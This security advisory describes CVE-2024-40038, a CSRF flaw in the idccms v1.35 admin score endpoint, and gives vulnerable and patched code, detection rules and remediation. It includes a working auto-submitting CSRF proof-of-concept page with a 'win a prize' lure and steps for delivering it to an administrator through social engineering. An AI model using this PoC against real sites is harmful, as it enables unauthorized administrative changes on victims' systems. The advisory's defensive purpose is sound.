CVE-2024-40038

Executive Summary

CVE-2024-40038 is a Cross-Site Request Forgery (CSRF) vulnerability identified in idccms v1.35. The flaw resides in the /admin/userScore_deal.php?mudi=rev endpoint, allowing an attacker to forge requests on behalf of an authenticated administrator. Successful exploitation can lead to unauthorized modification of user scores, privilege escalation, or other administrative actions without the victim's consent. The vulnerability is classified under CWE-352 and has a CVSS v3.1 base score of 8.8 (High). No official patch has been released, and public proof-of-concept (PoC) code is available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a crafted link or visit a malicious page.
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: High. The vulnerability requires user interaction but can lead to full administrative compromise of the idccms application.

Deep Dive & Mechanics

The CSRF vulnerability exists because the /admin/userScore_deal.php?mudi=rev endpoint does not implement any anti-CSRF tokens or origin validation. An attacker can craft a malicious HTML page or email that, when visited by an authenticated admin, automatically submits a forged POST/GET request to the vulnerable endpoint. This can modify user scores, potentially granting unauthorized privileges or disrupting the application's integrity.

Root Cause: Lack of CSRF protection mechanisms (e.g., tokens, SameSite cookies, or referrer checks) in the administrative interface.

Attack Flow:

1. Attacker identifies an authenticated admin session (e.g., via cookie).
2. Attacker crafts a malicious link or embeds a hidden form in a webpage.
3. Victim (admin) clicks the link or visits the page while authenticated.
4. The forged request is sent to /admin/userScore_deal.php?mudi=rev with attacker-controlled parameters.
5. The server processes the request, modifying user scores as desired.

Vulnerable vs. Patched Code

Vulnerable Code (idccms v1.35):

// /admin/userScore_deal.php (simplified)
if ($_GET['mudi'] == 'rev') {
    $uid = $_POST['uid'];
    $score = $_POST['score'];
    // No CSRF check
    $db->query("UPDATE users SET score = $score WHERE id = $uid");
}

Patched Code (Hypothetical):

// /admin/userScore_deal.php (patched)
session_start();
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die("CSRF validation failed");
}
if ($_GET['mudi'] == 'rev') {
    $uid = intval($_POST['uid']);
    $score = intval($_POST['score']);
    $db->query("UPDATE users SET score = $score WHERE id = $uid");
}

Note: No official patch is available. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Target running idccms v1.35.
• Admin user authenticated (session cookie).

PoC HTML (csrf_poc.html):

<html>
<body>
<h1>Click to win a prize!</h1>
<form action="http://target.com/admin/userScore_deal.php?mudi=rev" method="POST">
    <input type="hidden" name="uid" value="1">
    <input type="hidden" name="score" value="9999">
    <input type="submit" value="Claim Prize">
</form>
<script>
    document.forms[0].submit();
</script>
</body>
</html>

Usage:

1. Host the HTML on an attacker-controlled server.
2. Send the link to the victim admin (e.g., via email or social engineering).
3. When the admin clicks, the form auto-submits, modifying user ID 1's score to 9999.

Blue Team (Detection & Defense)

Detection:

• Monitor for unexpected POST requests to /admin/userScore_deal.php?mudi=rev without a valid CSRF token.
• Alert on multiple rapid score changes from a single admin session.

Defense:

• Implement CSRF tokens (as shown in patched code).
• Set SameSite cookies to Lax or Strict.
• Validate the Referer header (though not foolproof).
• Use CAPTCHA for sensitive actions.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /admin/userScore_deal.php?mudi=rev with parameters uid and score.
• Logs: Unusual score modification events in admin logs.
• File: Presence of csrf_poc.html or similar files on the server.
• Session: Multiple admin sessions from different IPs performing score changes.

Detection Engineering

YARA Rule

rule idccms_csrf_poc {
    meta:
        description = "Detects CSRF PoC HTML targeting idccms v1.35"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $s1 = "admin/userScore_deal.php?mudi=rev" ascii wide nocase
        $s2 = "uid" ascii wide nocase
        $s3 = "score" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CSRF Attempt Against idccms userScore_deal
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects POST requests to idccms userScore_deal.php with mudi=rev
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/admin/userScore_deal.php?mudi=rev'
    condition: selection
falsepositives:
    - Legitimate admin actions (if CSRF token is present)
level: high

Suricata Rule

alert http any any -> any any (msg:"idccms CSRF Attempt - userScore_deal"; flow:to_server; http.method; content:"POST"; http.uri; content:"/admin/userScore_deal.php"; http.uri; content:"mudi=rev"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not essential: Block access to /admin/userScore_deal.php via web server configuration (e.g., .htaccess).
2. Implement CSRF tokens as shown in the patched code example.
3. Enforce SameSite cookies (set to Lax or Strict).
4. Add referrer validation (check HTTP_REFERER matches the admin domain).

Long-Term Fix:

• Upgrade to a patched version when available (currently none).
• Conduct a full security audit of the idccms codebase for similar CSRF issues.

Workaround:

• Use a Web Application Firewall (WAF) to block requests to the vulnerable endpoint without a valid CSRF token.

Valters IT
Securing Digital Frontiers